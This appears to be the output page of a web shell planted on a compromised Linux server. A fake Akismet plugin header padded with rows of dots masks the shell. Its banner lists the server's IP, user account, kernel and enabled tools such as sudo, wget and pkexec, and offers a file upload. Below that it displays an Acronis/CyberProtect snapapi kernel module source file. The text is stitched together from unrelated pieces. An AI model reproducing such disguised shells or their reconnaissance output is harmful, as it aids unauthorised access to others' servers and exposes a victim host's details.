#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/src/snapapi26-1.0.5/ |
Upload File : |
/* snapapi_drv.c
Copyright (C) Acronis, 2004
Copyright (c) CyberProtect
*/
#include "snconfig.h"
#include "snapapi.h"
#include "debug.h"
#include "version.h"
#ifdef HAVE_BDOPS_SUBMIT_BIO
#include "kernel_config.h"
#endif
#ifdef HAVE_UNLOCKED_IOCTL
long snapapi3_ioctl(struct file *file, unsigned int cmd, unsigned long arg);
#else
int snapapi4_ioctl(struct inode *ino, struct file *file, unsigned int cmd,
unsigned long arg);
#endif
#ifdef HAVE_COMPAT_IOCTL
long snapapi_compat_ioctl(struct file *filep, unsigned int cmd, unsigned long arg);
#endif
int snapapi_open(struct inode *ino, struct file *file);
ssize_t snapapi_read(struct file * filp, char * buf, size_t count, loff_t *ppos);
ssize_t snapapi_write(struct file *filp, const char *buf, size_t count, loff_t *ppos);
unsigned int snapapi_poll(struct file *filp, poll_table *wait);
int snapapi_mmap(struct file * file, struct vm_area_struct * vma);
int snapapi_release(struct inode *ino, struct file *file);
int validate_kernel_version(void);
int get_drv_pages(void);
void free_drv_pages(void);
void init_select_wait(void);
int start_resolver_thread(void);
void stop_resolver_thread(void);
void register_ioctl32(void);
void unregister_ioctl32(void);
int sa_sysfs_create(void);
void sa_sysfs_remove(void);
extern int snap_emergency_size;
extern const int session_struct_size;
extern const int blk_chains;
static int snapctl_major;
static int snap_emergency_size_max;
const int * const snap_emergency_size_max_p = &snap_emergency_size_max;
static const struct file_operations snapctl_fops = {
owner: THIS_MODULE,
#ifdef HAVE_UNLOCKED_IOCTL
unlocked_ioctl: snapapi3_ioctl,
#else
ioctl: snapapi4_ioctl,
#endif
open: snapapi_open,
read: snapapi_read,
write: snapapi_write,
poll: snapapi_poll,
mmap: snapapi_mmap,
release: snapapi_release,
#ifdef HAVE_COMPAT_IOCTL
compat_ioctl: snapapi_compat_ioctl,
#endif
};
static int __init snapapi_init(void)
{
struct sysinfo i;
int ret;
init_select_wait();
si_meminfo(&i);
snap_emergency_size_max = snap_emergency_size = sn_round_up(i.totalram >> 8, 1024);
ret = start_resolver_thread();
if (ret) {
goto err;
}
ret = get_drv_pages();
if (ret) {
goto err;
}
ret = register_chrdev(0, SNAPCTL_NAME, &snapctl_fops);
if (ret < 0)
goto err;
snapctl_major = ret;
ret = sa_sysfs_create();
if (ret)
goto err;
register_ioctl32();
ret = 0;
out_info:
sa_info("Snapapi(v%d.%d.%d.%d) init %s. Session size %d. Em size %d. "
"Ctl major %d. chains %d\n", COMMON_VMAJOR, COMMON_VMINOR, COMMON_VSUBMINOR, BUILD_NUMBER,
!ret ? "OK" : "failed", session_struct_size,
snap_emergency_size, snapctl_major, blk_chains);
#ifdef HAVE_BDOPS_SUBMIT_BIO
sa_warn("snapapi26: built for %s %s kernel using %s.", UTS_RELEASE, UTS_VERSION, SNAPAPI_SYSTEM_MAP);
if (validate_kernel_version() != 0)
sa_warn("snapapi26 module was built for another kernel, have %s %s expecting %s %s.", utsname()->release, utsname()->version, UTS_RELEASE, UTS_VERSION);
#endif
return ret;
err:
if (snapctl_major > 0)
unregister_chrdev(snapctl_major, SNAPCTL_NAME);
free_drv_pages();
stop_resolver_thread();
goto out_info;
}
static void __exit snapapi_exit(void)
{
sa_sysfs_remove();
unregister_chrdev(snapctl_major, SNAPCTL_NAME);
unregister_ioctl32();
free_drv_pages();
stop_resolver_thread();
sa_info("Snapapi unloading...%s", "\n");
}
module_init(snapapi_init);
module_exit(snapapi_exit);
MODULE_AUTHOR("CyberProtect");
MODULE_DESCRIPTION("CyberProtect Snapshot kernel API module");
MODULE_LICENSE("GPL");
MODULE_VERSION(COMMON_MOD_VERSION);
MODULE_INFO(supported, "external");